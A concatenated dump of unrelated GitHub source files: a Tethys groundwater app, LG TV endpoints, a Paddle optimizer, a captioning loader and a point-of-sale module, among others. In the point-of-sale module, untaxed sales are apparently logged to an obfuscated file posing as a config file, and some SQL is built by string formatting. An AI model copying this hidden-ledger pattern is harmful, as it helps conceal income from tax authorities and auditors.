filter-branch -f --tree-filter \\\"mkdir -p %s ; git ls-tree --name-only \\\\$GIT_COMMIT | xargs -I file mv file %s\\\" -- --all\"\n first_dir = project['path'].split(os.path.sep)[0:1][0]\n self._execute_shell_command(command, project['path'], project['path'])\n\n os.chdir(current_directory)\n\n\nif __name__ == \"__main__\":\n merge = MergeGitProjects()\n merge.execute()\n","repo_name":"dmitryd/merge-git-projects","sub_path":"merge-git-projects.py","file_name":"merge-git-projects.py","file_ext":"py","file_size_in_byte":10699,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"74951833071","text":"class Pelicula:\n #constructor\n def __init__(self,nombre,año,genero,nacionalidad,puntuacion):\n self.nombre = nombre \n self.año = año\n self.genero = genero\n self.nacionalidad = nacionalidad\n self.puntuacion = puntuacion\n \n def presentar_pelicula(self):\n print(f\"La pelicula {self.nombre} de {self.genero} del {self.año} obtuvo una puntuacion de {self.puntuacion} y fue filmada en {self.nacionalidad}\")\n\n def año_pelicula(self):\n try:\n año_pelicula= int(input(\"Ingrese el año de la película: \"))\n if self.año > año_pelicula:\n print(\"El año es mayor al indicado por parámetro\")\n elif self.año == año_pelicula:\n print(\"El año es igual al indicado por parámetro\")\n elif self.año < año_pelicula:\n print(\"El año es menor al indicado por parámetro\")\n except:\n print(\"Error en el ingreso del año\")\n\n def cambiar_genero(self, nuevo_genero):\n self.genero= nuevo_genero\n print(f\"Se cambió el género de {self.genero} a {nuevo_genero}\")\n \n def modificar_puntuacion(self, nueva_puntuacion):\n self.puntuacion = nueva_puntuacion\n print(f\"Se cambió la puntuación de {self.puntuacion} a {nueva_puntuacion}\")","repo_name":"MaEmiliaLuduena/AYEDI","sub_path":"Unidad 6/ejercicio6.3.py/ClasePelicula.py","file_name":"ClasePelicula.py","file_ext":"py","file_size_in_byte":1320,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"35182685747","text":"from tethys_sdk.base import TethysAppBase, url_map_maker\nfrom tethys_sdk.app_settings import PersistentStoreDatabaseSetting\n\nclass Gw(TethysAppBase):\n \"\"\"\n Tethys app class for Groundwater Level Mapping Tool.\n \"\"\"\n\n name = 'Groundwater Level Mapping Tool'\n index = 'gw:home'\n icon = 'gw/images/gw_logo.png'\n package = 'gw'\n root_url = 'gw'\n color = '#27AE60'\n description = 'This application uses spatial and temporal interpolation of well data to create groundwater level maps and time series.'\n tags = 'Hydrology,Groundwater'\n enable_feedback = False\n feedback_emails = []\n\n def persistent_store_settings(self):\n #Define Persistent Store Settings.\n\n ps_settings=(\n PersistentStoreDatabaseSetting(\n name='primary_db',\n description='primary database',\n initializer='gw.model.init_primary_db',\n required=True\n ),\n )\n\n return ps_settings\n\n def url_maps(self):\n \"\"\"\n Add controllers\n \"\"\"\n UrlMap = url_map_maker(self.root_url)\n\n url_maps = (\n UrlMap(\n name='home',\n url='gw',\n controller='gw.controllers.home'\n ),\n UrlMap(\n name='region_map',\n url='region_map',\n controller='gw.controllers.region_map'\n ),\n UrlMap(\n name='interpolation',\n url='interpolation',\n controller='gw.controllers.interpolation'\n ),\n UrlMap(\n name='addregion_nwis',\n url='addregion_nwis',\n controller='gw.controllers.addregion_nwis'\n ),\n UrlMap(\n name='addregion',\n url='addregion',\n controller='gw.controllers.addregion'\n ),\n UrlMap(\n name='finish_addregion',\n url='gw/finish_addregion',\n controller='gw.ajax_controllers.finish_addregion'\n ),\n UrlMap(\n name='addregion2',\n url='addregion2/{region}',\n controller='gw.controllers.addregion2'\n ),\n UrlMap(\n name='addregion_nwis2',\n url='addregion_nwis2/{region}',\n controller='gw.controllers.addregion_nwis2'\n ),\n UrlMap(\n name='removeregion',\n url='removeregion',\n controller='gw.controllers.removeregion'\n ),\n UrlMap(\n name='deleteregion',\n url='gw/deleteregion',\n controller='gw.ajax_controllers.deleteregion'\n ),\n UrlMap(\n name='create_wells',\n url='gw/displaygeojson',\n controller='gw.ajax_controllers.displaygeojson'\n ),\n UrlMap(\n name='load_well_time',\n url='gw/loadjson',\n controller='gw.ajax_controllers.loadjson'\n ),\n UrlMap(\n name='retrieve_wells',\n url='gw/retrieve_Wells',\n controller='gw.model.retrieve_Wells'\n ),\n UrlMap(\n name='loaddata',\n url='gw/loaddata',\n controller='gw.ajax_controllers.loaddata'\n ),\n UrlMap(\n name='loadaquiferlist',\n url='gw/loadaquiferlist',\n controller='gw.ajax_controllers.loadaquiferlist'\n ),\n UrlMap(\n name='loadtimelist',\n url='gw/loadtimelist',\n controller='gw.ajax_controllers.loadtimelist'\n ),\n UrlMap(\n name='gettotalvolume',\n url='gw/gettotalvolume',\n controller='gw.ajax_controllers.gettotalvolume'\n ),\n UrlMap(\n name='checktotalvolume',\n url='gw/checktotalvolume',\n controller='gw.ajax_controllers.checktotalvolume'\n ),\n UrlMap(\n name='deletenetcdf',\n url='gw/deletenetcdf',\n controller='gw.ajax_controllers.deletenetcdf'\n ),\n UrlMap(\n name='defaultnetcdf',\n url='gw/defaultnetcdf',\n controller='gw.ajax_controllers.defaultnetcdf'\n ),\n UrlMap(\n name='addoutlier',\n url='gw/addoutlier',\n controller='gw.ajax_controllers.addoutlier'\n ),\n UrlMap(\n name='upload_to_hydroshare',\n url='gw/upload-to-hydroshare',\n controller='gw.ajax_controllers.upload_to_hydroshare'\n ),\n UrlMap(\n name='get_timeseries',\n url='gw/get_timeseries',\n controller='gw.ajax_controllers.get_timeseries'\n ),\n )\n\n return url_maps\n","repo_name":"stevenwevans2/tethysapp-gw","sub_path":"tethysapp/gw/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":5115,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"38"} +{"seq_id":"19170533308","text":"from src import cmm\nfrom src import lmm\nfrom src import imm\nimport time,sqlite3,base64,time\nimport os.path\n\ndef main ( *args , **kwargs ) :\n # Will be using self C-style Control for ease in debugging\n return(0)\n\nclass ems_core ( object):\n def __init__(self,dbid,agent):\n self.dbid = dbid\n self.agent = agent\n self.cmm = cmm.cmm(self.dbid)\n self.lmm = lmm.lmm(self.dbid)\n self.imm = imm.imm(self.dbid)\n self.cmm.create_db()\n self.lmm.create_db()\n self.imm.create_db()\n\n # List of all the items for the session\n self.cart = [] # [[p_id , qty , unit,rate , tax]]\n self.c_id = 0\n self.recipt = {}\n self.meta_data = {}\n\n\n\n def __encode(self,key, clear):\n enc = []\n for i in range(len(clear)):\n key_c = key[i % len(key)]\n enc_c = chr((ord(clear[i]) + ord(key_c)) % 256)\n enc.append(enc_c)\n return base64.urlsafe_b64encode(\"\".join(enc).encode()).decode()\n\n def __decode(self,key, enc):\n dec = []\n enc = base64.urlsafe_b64decode(enc).decode()\n for i in range(len(enc)):\n key_c = key[i % len(key)]\n dec_c = chr((256 + ord(enc[i]) - ord(key_c)) % 256)\n dec.append(dec_c)\n return \"\".join(dec)\n\n def __log_untaxed(self,data):\n path = 'resources/config_integrity.config'\n self.__key = 'emscustom'\n # Data is of format: time_stamp as t_id , c_id , time , amount , products\n with open(path, 'a' if os.path.isfile(path) else 'w' ) as file_pointer:\n data = '&sep'.join(map(str,data))\n data = self.__encode(self.__key , data)\n file_pointer.write(data+'\\n')\n file_pointer.flush()\n file_pointer.close()\n\n def display_cart(self):\n return(self.cart)\n\n def add_to_cart(self, p_id, qty, unit, rate , tax ):\n self.cart.append( [p_id , qty , unit, rate , tax] )\n\n def change_cid ( self, client ):\n self.c_id = self.cmm.client_to_id( client )\n\n def clear_session(self):\n self.cart = []\n self.c_id = 0\n\n def display_all_customers(self):\n return self.cmm.list_c_names()\n\n def calc_profit(self,data,ttype = 0):\n print(\"Profit routine called!\")\n def floatify(x):\n try:return(float(x))\n except:return(x)\n\n cp,sp,tax = 0,0,0\n for i in data: #Data is cart and i is items in the Cart\n p_id = i[0] #modrate looks like: 25:30,27:60\n # i looks like [p_id , qty , unit, rate , tax]\n i = list(map(floatify,i))\n modrate = self.imm.get_mod_rate(p_id)\n self.meta_data[p_id] = '%20'.join(modrate)\n #print(\"\\nPid is: %s \\n Modrate: %s and Qty: %s\"%(p_id,modrate,str(i[1]))\n modrate = { float(i.split(':')[0]):float(i.split(':')[1]) for i in modrate if i}\n sp += i[1]*i[3] # Selling price\n # Here i[1] is the qty in cart\n tax += (i[4]/100)*i[1]*i[3] # tax amount\n last_mod_rate = 0\n for j in modrate:\n if modrate[j] >= i[1]: # Partial Stock > demand\n cp += j * i[1] # Cost price\n modrate[j] -= i[1]\n i[1] = 0\n break\n else:\n last_mod_rate = j\n cp += modrate[j] * j\n i[1] -= modrate[j]\n modrate[j] = 0\n if i[1] > 0.0:\n print(\"Forced Sale extra amount: %.2f\\nCp till now: %.2f\"%(i[1],cp))\n cp += last_mod_rate*i[1]\n\n modrate = [\"%.3f:%.3f\"%(i,modrate[i]) for i in modrate if modrate[i]]\n modrate = ','.join(modrate)\n self.imm.update(p_id,'mod_rate',[modrate])\n\n profit_for_sale = sp - cp\n print(\"Profit: %.3f\"%profit_for_sale)\n print(\"Tax: %.3f \\n Cp: %.3f \\n Sp: %.3f\"%(tax,cp,sp))\n if not ttype:\n # Normal transaction\n t = time.ctime()\n date,month,year = t[8:10],t[4:7],t[-4:]\n self.lmm.cursor.execute( \"SELECT * FROM stats WHERE Date=\\'%s\\' AND Month=\\'%s\\' AND Year=\\'%s\\' \"%(date,month,year) )\n is_existant = self.lmm.cursor.fetchall()\n\n if is_existant:\n self.lmm.cursor.execute(\"UPDATE stats SET `Profit Salewise` = `Profit Salewise` + \\'%s\\' , Tax = Tax + \\'%s\\' WHERE Date=\\'%s\\' AND Month=\\'%s\\' AND Year=\\'%s\\'\"%(profit_for_sale,str(tax),date,month,year))\n else:\n self.lmm.cursor.execute(\"INSERT INTO stats (`Year`,`Month`,`Date`,`Expense`,`Profit Salewise`,`Tax`,`key`) VALUES (?,?,?,?,?,?,?)\",\n (year,month,date,'0.0',str(profit_for_sale),str(tax),'0.0'))\n self.lmm.server.commit()\n else:\n t = time.ctime()\n date,month,year = t[8:10],t[4:7],t[-4:]\n self.lmm.cursor.execute( \"SELECT * FROM stats WHERE Date=\\'%s\\' AND Month=\\'%s\\' AND Year=\\'%s\\' \"%(date,month,year) )\n is_existant = self.lmm.cursor.fetchall()\n\n if is_existant:\n self.lmm.cursor.execute(\"UPDATE stats SET `key` = `key` + \\'%s\\' WHERE Date=\\'%s\\' AND Month=\\'%s\\' AND Year=\\'%s\\'\"%(profit_for_sale,date,month,year))\n else:\n self.lmm.cursor.execute(\"INSERT INTO stats (`Year`,`Month`,`Date`,`Expense`,`Profit Salewise`,`Tax`,`key`) VALUES (?,?,?,?,?,?,?)\",\n (year,month,date,'0.0','0.0','0.0',str(profit_for_sale)))\n self.lmm.server.commit()\n return('%.3f,%.3f'%(profit_for_sale,tax))\n\n\n def check_out ( self , payment_type , ttype = 0): #ttype = pk (0) / ka (1)\n # Deduct the inventory *\n # --> Process Amount *\n # Modify the client details *\n # Log the transaction (Once per order)*\n # Genrate the Recipt *\n if self.cart == []:\n print(\"Empty Cart\") #Could go in status label\n return(-1)\n self.total_amount = 0\n for i in self.cart:\n tmp = float(i[1])*float(i[3])\n self.total_amount += tmp + tmp*(float(i[4])/100) if not ttype else tmp #Custom Rate + Tax\n self.imm.update( i[0] , 'chk_out' , [i[1]])\n print(self.total_amount)\n\n\n if payment_type == \"current\" and not ttype: #Logging the transaction in the cmm\n self.cmm.update( self.c_id , 'u_acc' ,self.total_amount)\n elif payment_type == \"borrow\" and not ttype: # 2 ask\n # Borrowing\n self.cmm.update( self.c_id , 'd_add' ,self.total_amount)\n\n transaction_id = int(time.time())\n date = str(time.ctime())\n if not ttype: # Logging the transaction in the log\n pt = self.calc_profit(self.cart,ttype)\n print(self.cart)\n self.lmm.append_log([transaction_id,date,self.c_id,#P_id,qty,rate,tax , Billed BY\n self.total_amount,','.join([i[0]+'|%.3f|%.3f|%.3f|'\\\n %tuple(map(float,(i[1],i[3],(float(i[4])/100)*float(i[1])*float(i[3]))))+self.meta_data[i[0]] for i in self.cart]),self.agent,pt])\n\n else:\n print(self.cart)\n pt = self.calc_profit(self.cart,ttype)\n self.__log_untaxed([ transaction_id, self.c_id, date , self.total_amount ,\n ','.join([i[0]+'|%.3f|%.3f|%.3f|'%tuple(map(float,(i[1],i[3],(float(i[4])/100)*float(i[1])*float(i[3]))))+self.meta_data[i[0]] for i in self.cart]),pt])\n\n self.recipt = self.genrate_recipt(transaction_id,date,payment_type,\n self.total_amount , ttype)\n\n def genrate_recipt(self,t_id,date, p_type,total_amount,ttype=0):\n data = []\n for i in self.cart:\n amount = float(i[1])*float(i[3])\n tax = (float(i[4])/100)*amount if not ttype else 0\n total = amount+(tax if not ttype else 0)\n self.imm.cursor.execute('select `HSN/SAC` from ivn where P_id = (?)',(i[0],))\n hsn = self.imm.cursor.fetchone()\n # [[p_id , qty , unit,rate , tax]]\n #['GREEN_DARK', 'ABCDEF', '210.35 Kg', '50.0', '5' , '55000.0' ]\n data.append([str(i[0]),hsn[0], str(i[1])+i[2] , str(i[3]) , str(tax) , str(total)])\n recipt = { \"Transaction Id\":t_id , \"Date\":date ,\n \"data\":data , \"Billed by\": self.agent,\n \"Payment Type\": p_type , \"Total Amount\":total_amount , \"Client\": self.c_id}\n return(recipt)\n def display_ivn(self, p_id = '',key = 'P'):\n return self.imm.search(p_id,key)\n def id2c(self,id):\n return(self.cmm.id_to_client(id)[0])\n def c2id(self,cl):\n return(self.cmm.client_to_id(cl))\nif __name__ == \"__main__\":\n self = ems_core('ems','admin')\n self.add_to_cart('RED_NORMAL',20,12)\n self.display_cart()\n self.add_to_cart('BLUE_NORMAL',5,20)\n","repo_name":"ubdussamad/ems_custom","sub_path":"ems_core.py","file_name":"ems_core.py","file_ext":"py","file_size_in_byte":8934,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"28160483787","text":"# ask a user how many pizza slices they want.\n# The pizzeria charges Rs 123.00 a slice.\n# if user order even number of slices, price per slice is Rs 120.00. \n# Print the total price depending on how many slices user orders\n\n\ncostodd=123.00\n\ncosteven=120.00\n\n\n\ndef calculatecost(slices):\n price=0\n\n if(slices%2==0):\n price=price+(costeven*slices)\n\n\n else:\n price=price+(costodd*slices)\n\n\n print(\"total price= \",price)\n\n\n\nslices=int(input(\"how many slices you want? \"))\n\n\ncalculatecost(slices)","repo_name":"Khushbu-Majithia-261406/261406_dailyCommit","sub_path":"assignment_05.py","file_name":"assignment_05.py","file_ext":"py","file_size_in_byte":517,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"40344618141","text":"EP_GET_SERVICES = \"api/getServiceList\"\nEP_SET_MUTE = \"audio/setMute\"\nEP_GET_AUDIO_STATUS = \"audio/getStatus\"\nEP_GET_VOLUME = \"audio/getVolume\"\nEP_SET_VOLUME = \"audio/setVolume\"\nEP_VOLUME_UP = \"audio/volumeUp\"\nEP_VOLUME_DOWN= \"audio/volumeDown\"\nEP_GET_CURRENT_APP_INFO = \"com.webos.applicationManager/getForegroundAppInfo\"\nEP_LAUNCH_APP = \"com.webos.applicationManager/launch\"\nEP_GET_APPS = \"com.webos.applicationManager/listLaunchPoints\"\nEP_GET_APP_STATUS = \"com.webos.service.appstatus/getAppStatus\"\nEP_SEND_ENTER = \"com.webos.service.ime/sendEnterKey\"\nEP_SEND_DELETE = \"com.webos.service.ime/deleteCharacters\"\nEP_3D_ON = \"com.webos.service.tv.display/set3DOn\"\nEP_3D_OFF = \"com.webos.service.tv.display/set3DOff\"\nEP_GET_SOFTWARE_INFO = \"com.webos.service.update/getCurrentSWInformation\"\nEP_MEDIA_PLAY = \"media.controls/play\"\nEP_MEDIA_STOP = \"media.controls/stop\"\nEP_MEDIA_PAUSE = \"media.controls/pause\"\nEP_MEDIA_REWIND = \"media.controls/rewind\"\nEP_MEDIA_FAST_FORWARD = \"media.controls/fastForward\"\nEP_MEDIA_CLOSE = \"media.viewer/close\"\nEP_POWER_OFF = \"system/turnOff\"\nEP_POWER_ON = \"system/turnOn\"\nEP_SHOW_MESSAGE = \"system.notifications/createToast\"\nEP_LAUNCHER_CLOSE = \"system.launcher/close\"\nEP_GET_APP_STATE = \"system.launcher/getAppState\"\nEP_LAUNCH = \"system.launcher/launch\"\nEP_OPEN = \"system.launcher/open\"\nEP_TV_CHANNEL_DOWN = \"tv/channelDown\"\nEP_TV_CHANNEL_UP = \"tv/channelUp\"\nEP_GET_TV_CHANNELS = \"tv/getChannelList\"\nEP_GET_CHANNEL_INFO = \"tv/getChannelProgramInfo\"\nEP_GET_CURRENT_CHANNEL = \"tv/getCurrentChannel\"\nEP_GET_INPUTS = \"tv/getExternalInputList\"\nEP_SET_CHANNEL = \"tv/openChannel\"\nEP_SET_INPUT = \"tv/switchInput\"\nEP_CLOSE_WEB_APP = \"webapp/closeWebApp\"\n","repo_name":"TheRealLink/pylgtv","sub_path":"pylgtv/endpoints.py","file_name":"endpoints.py","file_ext":"py","file_size_in_byte":1673,"program_lang":"python","lang":"en","doc_type":"code","stars":69,"dataset":"github-code","pt":"38"} +{"seq_id":"22652700717","text":"from __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\n\nimport paddle.nn as nn\n\nimport paddle.optimizer as optimizer\nfrom core.workspace import register\n\n\n__all__ = ['OptimizerBuilder']\n\nfrom utils.logger import setup_logger\nlogger = setup_logger(__name__)\n\n@register\nclass OptimizerBuilder():\n \"\"\"\n Build optimizer handles\n Args:\n regularizer (object): an `Regularizer` instance\n optimizer (object): an `Optimizer` instance\n \"\"\"\n __category__ = 'optim'\n\n def __init__(self,\n clip_grad_by_norm=None,\n regularizer={'type': 'L2',\n 'factor': .0001},\n optimizer={'type': 'Momentum',\n 'momentum': .9}):\n self.clip_grad_by_norm = clip_grad_by_norm\n self.regularizer = regularizer\n self.optimizer = optimizer\n\n def __call__(self, learning_rate, model=None):\n if self.clip_grad_by_norm is not None:\n grad_clip = nn.ClipGradByGlobalNorm(\n clip_norm=self.clip_grad_by_norm)\n else:\n grad_clip = None\n\n optim_args = self.optimizer.copy()\n optim_type = optim_args['type']\n del optim_args['type']\n\n op = getattr(optimizer, optim_type)\n\n if 'param_groups' in optim_args:\n assert isinstance(optim_args['param_groups'], list), ''\n\n param_groups = optim_args.pop('param_groups')\n\n params, visited = [], []\n for group in param_groups:\n assert isinstance(group,\n dict) and 'params' in group and isinstance(\n group['params'], list), ''\n _params = {\n n: p\n for n, p in model.named_parameters()\n if any([k in n\n for k in group['params']]) and p.trainable is True\n }\n _group = group.copy()\n _group.update({'params': list(_params.values())})\n\n params.append(_group)\n visited.extend(list(_params.keys()))\n\n ext_params = [\n p for n, p in model.named_parameters()\n if n not in visited and p.trainable is True\n ]\n\n if len(ext_params) < len(model.parameters()):\n params.append({'params': ext_params})\n\n elif len(ext_params) > len(model.parameters()):\n raise RuntimeError\n\n else:\n _params = model.parameters()\n params = [param for param in _params if param.trainable is True]\n\n return op(learning_rate=learning_rate,\n parameters=params,\n grad_clip=grad_clip,\n **optim_args)","repo_name":"tensorlayer/Paddle2TLX","sub_path":"pd_models/paddledet/optimizer/optimizer.py","file_name":"optimizer.py","file_ext":"py","file_size_in_byte":2836,"program_lang":"python","lang":"en","doc_type":"code","stars":11,"dataset":"github-code","pt":"38"} +{"seq_id":"29265403971","text":"from __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\n\nimport json\nimport h5py\n# from lmdbdict import lmdbdict\n# from lmdbdict.methods import DUMPS_FUNC, LOADS_FUNC\nimport os\nimport numpy as np\nimport numpy.random as npr\nimport random\nfrom functools import partial\n\nimport torch\nimport torch.utils.data as data\n\nimport multiprocessing\nimport six\n\nclass HybridLoader:\n \"\"\"\n If db_path is a director, then use normal file loading\n If lmdb, then load from lmdb\n The loading method depend on extention.\n\n in_memory: if in_memory is True, we save all the features in memory\n For individual np(y|z)s, we don't need to do that because the system will do this for us.\n Should be useful for lmdb or h5.\n (Copied this idea from vilbert)\n \"\"\"\n def __init__(self, db_path, ext, in_memory=False):\n self.db_path = db_path\n self.ext = ext\n if self.ext == '.npy':\n self.loader = lambda x: np.load(six.BytesIO(x))\n else:\n def load_npz(x):\n x = np.load(six.BytesIO(x))\n return x['feat'] if 'feat' in x else x['arr_0'] # normally it should be 'feat', but the key is saved to be 'arr_0' mistakenly.\n self.loader = load_npz\n if db_path.endswith('.lmdb'):\n self.db_type = 'lmdb'\n self.lmdb = lmdbdict(db_path, unsafe=True)\n self.lmdb._key_dumps = DUMPS_FUNC['ascii']\n self.lmdb._value_loads = LOADS_FUNC['identity']\n elif db_path.endswith('.pth'): # Assume a key,value dictionary\n self.db_type = 'pth'\n self.feat_file = torch.load(db_path)\n self.loader = lambda x: x\n print('HybridLoader: ext is ignored')\n elif db_path.endswith('h5'):\n self.db_type = 'h5'\n self.loader = lambda x: np.array(x).astype('float32')\n else:\n self.db_type = 'dir'\n\n self.in_memory = in_memory\n if self.in_memory:\n self.features = {}\n \n def get(self, key):\n\n if self.in_memory and key in self.features:\n # We save f_input because we want to save the\n # compressed bytes to save memory\n f_input = self.features[key]\n elif self.db_type == 'lmdb':\n f_input = self.lmdb[key]\n elif self.db_type == 'pth':\n f_input = self.feat_file[key]\n elif self.db_type == 'h5':\n f_input = h5py.File(self.db_path, 'r')[key]\n else:\n f_input = open(os.path.join(self.db_path, key + self.ext), 'rb').read()\n\n if self.in_memory and key not in self.features:\n self.features[key] = f_input\n\n # load image\n feat = self.loader(f_input)\n\n return feat\n\nclass Dataset(data.Dataset):\n \n def get_vocab_size(self):\n return self.vocab_size\n\n def get_vocab(self):\n return self.ix_to_word\n\n def get_seq_length(self):\n return self.seq_length\n\n def __init__(self, opt):\n self.opt = opt\n self.seq_per_img = opt.seq_per_img\n \n # feature related options\n self.use_fc = getattr(opt, 'use_fc', True)\n self.use_att = getattr(opt, 'use_att', True)\n self.use_box = getattr(opt, 'use_box', 0)\n self.norm_att_feat = getattr(opt, 'norm_att_feat', 0)\n self.norm_box_feat = getattr(opt, 'norm_box_feat', 0)\n\n # load the json file which contains additional information about the dataset\n print('DataLoader loading json file: ', opt.input_json)\n self.info = json.load(open(self.opt.input_json))\n if 'ix_to_word' in self.info:\n self.ix_to_word = self.info['ix_to_word']\n self.vocab_size = len(self.ix_to_word)\n print('vocab size is ', self.vocab_size)\n \n # open the hdf5 file\n print('DataLoader loading h5 file: ', opt.input_fc_dir, opt.input_att_dir, opt.input_box_dir, opt.input_label_h5)\n \"\"\"\n Setting input_label_h5 to none is used when only doing generation.\n For example, when you need to test on coco test set.\n \"\"\"\n if self.opt.input_label_h5 != 'none':\n self.h5_label_file = h5py.File(self.opt.input_label_h5, 'r', driver='core')\n # load in the sequence data\n seq_size = self.h5_label_file['labels'].shape\n self.label = self.h5_label_file['labels'][:]\n self.seq_length = seq_size[1]\n print('max sequence length in data is', self.seq_length)\n # load the pointers in full to RAM (should be small enough)\n self.label_start_ix = self.h5_label_file['label_start_ix'][:]\n self.label_end_ix = self.h5_label_file['label_end_ix'][:]\n else:\n self.seq_length = 1\n\n # self.img_ix_to_sentence_ix = np.load(self.opt.img_ix_to_sentence_ix, allow_pickle=True).item()\n\n self.data_in_memory = getattr(opt, 'data_in_memory', False)\n self.fc_loader = HybridLoader(self.opt.input_fc_dir, '.npy', in_memory=self.data_in_memory)\n self.att_loader = HybridLoader(self.opt.input_att_dir, '.npz', in_memory=self.data_in_memory)\n self.box_loader = HybridLoader(self.opt.input_box_dir, '.npy', in_memory=self.data_in_memory)\n self.vg_ix_loader = HybridLoader(self.opt.input_vg_ix_dir, '.npy', in_memory=self.data_in_memory)\n\n self.num_images = len(self.info['images']) # self.label_start_ix.shape[0]\n print('read %d image features' %(self.num_images))\n\n # separate out indexes for each of the provided splits\n if self.opt.no_pair_img_ixs != '':\n self.no_pair_img_ixs = np.load(self.opt.no_pair_img_ixs, allow_pickle=True).item()\n self.split_ix = {'train': [], 'val': [], 'test': []}\n for ix in range(len(self.info['images'])):\n # if ix in self.no_pair_img_ixs: #minor error: should not delete from val/test.\n img = self.info['images'][ix]\n if not 'split' in img:\n self.split_ix['train'].append(ix)\n self.split_ix['val'].append(ix)\n self.split_ix['test'].append(ix)\n elif img['split'] == 'train':\n # self.split_ix['train'].append(ix)\n pass\n elif img['split'] == 'val':\n pass # for now, use test as val to better check the training quality\n # self.split_ix['val'].append(ix)\n elif img['split'] == 'test':\n self.split_ix['val'].append(ix)\n self.split_ix['test'].append(ix)\n elif opt.train_only == 0: # restval\n self.split_ix['train'].append(ix)\n # load train ix from caption dataset (COCO/GCC/SS), and keep val/test as original (COCO imgs)\n self.useful_sentence_ixs = list(np.load(self.opt.useful_sentence_ixs))\n self.split_ix['train'] = [ix+200000 for ix in self.useful_sentence_ixs] # +20k to avoid overlap with coco ix\n self.train_set = set(self.split_ix['train'])\n self.val_set = set(self.split_ix['val'])\n self.obj_ix_to_img_ix = np.load(self.opt.obj_ix_to_img_ix, allow_pickle=True).item()\n for k in self.obj_ix_to_img_ix.keys():\n self.obj_ix_to_img_ix[k] = tuple(self.obj_ix_to_img_ix[k]) # convert set into tuple\n\n print('assigned %d images to split train' %len(self.split_ix['train']))\n print('assigned %d images to split val' %len(self.split_ix['val']))\n print('assigned %d images to split test' %len(self.split_ix['test']))\n\n def get_random_captions(self, ix, seq_per_img): # for unsupervised captioning\n seq = np.zeros([seq_per_img, self.seq_length], dtype = 'int')\n sentence_ixs = self.useful_sentence_ixs\n for q in range(seq_per_img):\n tmp = random.randint(0, len(sentence_ixs) - 1)\n ixl = sentence_ixs[tmp]\n seq[q, :] = self.label[ixl, :self.seq_length]\n return seq\n\n def get_captions(self, ix, seq_per_img):\n # fetch the sequence labels\n ix1 = self.label_start_ix[ix] - 1 #label_start_ix starts from 1\n ix2 = self.label_end_ix[ix] - 1\n ncap = ix2 - ix1 + 1 # number of captions available for this image\n assert ncap > 0, 'an image does not have any label. this can be handled but right now isn\\'t'\n\n if ncap < seq_per_img:\n # we need to subsample (with replacement)\n seq = np.zeros([seq_per_img, self.seq_length], dtype = 'int')\n for q in range(seq_per_img):\n ixl = random.randint(ix1,ix2)\n seq[q, :] = self.label[ixl, :self.seq_length]\n else:\n ixl = random.randint(ix1, ix2 - seq_per_img + 1)\n seq = self.label[ixl: ixl + seq_per_img, :self.seq_length]\n\n return seq\n\n def collate_func(self, batch, split):\n seq_per_img = self.seq_per_img\n\n fc_batch = []\n att_batch = []\n label_batch = []\n\n wrapped = False\n\n infos = []\n gts = []\n\n for sample in batch:\n # fetch image\n tmp_fc, tmp_att, tmp_seq, \\\n ix, it_pos_now, tmp_wrapped = sample\n if tmp_wrapped:\n wrapped = True\n\n fc_batch.append(tmp_fc)\n att_batch.append(tmp_att)\n \n tmp_label = np.zeros([seq_per_img, self.seq_length + 2], dtype = 'int')\n if hasattr(self, 'h5_label_file'):\n # if there is ground truth\n tmp_label[:, 1 : self.seq_length + 1] = tmp_seq\n label_batch.append(tmp_label)\n\n # Used for reward evaluation\n if hasattr(self, 'h5_label_file'):\n # if there is ground truth\n # gts.append(self.label[self.label_start_ix[ix] - 1: self.label_end_ix[ix]])\n if ix >= 200000: # Avoid GCC/SS/COCO caption ix overlap with coco images\n true_ix = ix - 200000\n else:\n true_ix = ix\n gts.append(self.label[true_ix: true_ix+1])\n else:\n gts.append([])\n\n if ix >= 200000:\n info_ix = 1 # GCC for training, no info\n else:\n info_ix = ix # info\n # record associated info as well\n info_dict = {}\n info_dict['ix'] = info_ix # ignore info since there is no info file for GCC\n info_dict['id'] = self.info['images'][info_ix]['id'] # ix\n info_dict['file_path'] = self.info['images'][info_ix].get('file_path', '') # ix\n infos.append(info_dict)\n\n # #sort by att_feat length\n # fc_batch, att_batch, label_batch, gts, infos = \\\n # zip(*sorted(zip(fc_batch, att_batch, np.vsplit(label_batch, batch_size), gts, infos), key=lambda x: len(x[1]), reverse=True))\n fc_batch, att_batch, label_batch, gts, infos = \\\n zip(*sorted(zip(fc_batch, att_batch, label_batch, gts, infos), key=lambda x: 0, reverse=True))\n data = {}\n data['fc_feats'] = np.stack(fc_batch)\n # merge att_feats\n max_att_len = max([_.shape[0] for _ in att_batch])\n data['att_feats'] = np.zeros([len(att_batch), max_att_len, att_batch[0].shape[1]], dtype = 'float32')\n for i in range(len(att_batch)):\n data['att_feats'][i, :att_batch[i].shape[0]] = att_batch[i]\n data['att_masks'] = np.zeros(data['att_feats'].shape[:2], dtype='float32')\n for i in range(len(att_batch)):\n data['att_masks'][i, :att_batch[i].shape[0]] = 1\n # set att_masks to None if attention features have same length\n if data['att_masks'].sum() == data['att_masks'].size:\n data['att_masks'] = None\n\n data['labels'] = np.vstack(label_batch)\n # generate mask\n nonzeros = np.array(list(map(lambda x: (x != 0).sum()+2, data['labels'])))\n mask_batch = np.zeros([data['labels'].shape[0], self.seq_length + 2], dtype = 'float32')\n for ix, row in enumerate(mask_batch):\n row[:nonzeros[ix]] = 1\n data['masks'] = mask_batch\n data['labels'] = data['labels'].reshape(len(batch), seq_per_img, -1)\n data['masks'] = data['masks'].reshape(len(batch), seq_per_img, -1)\n\n data['gts'] = gts # all ground truth captions of each images\n data['bounds'] = {'it_pos_now': it_pos_now, # the it_pos_now of the last sample\n 'it_max': len(self.split_ix[split]), 'wrapped': wrapped}\n data['infos'] = infos\n\n data = {k:torch.from_numpy(v) if type(v) is np.ndarray else v for k,v in data.items()} # Turn all ndarray to torch tensor\n\n return data\n\n def __getitem__(self, index):\n \"\"\"This function returns a tuple that is further passed to collate_fn\n \"\"\"\n ix, it_pos_now, wrapped = index 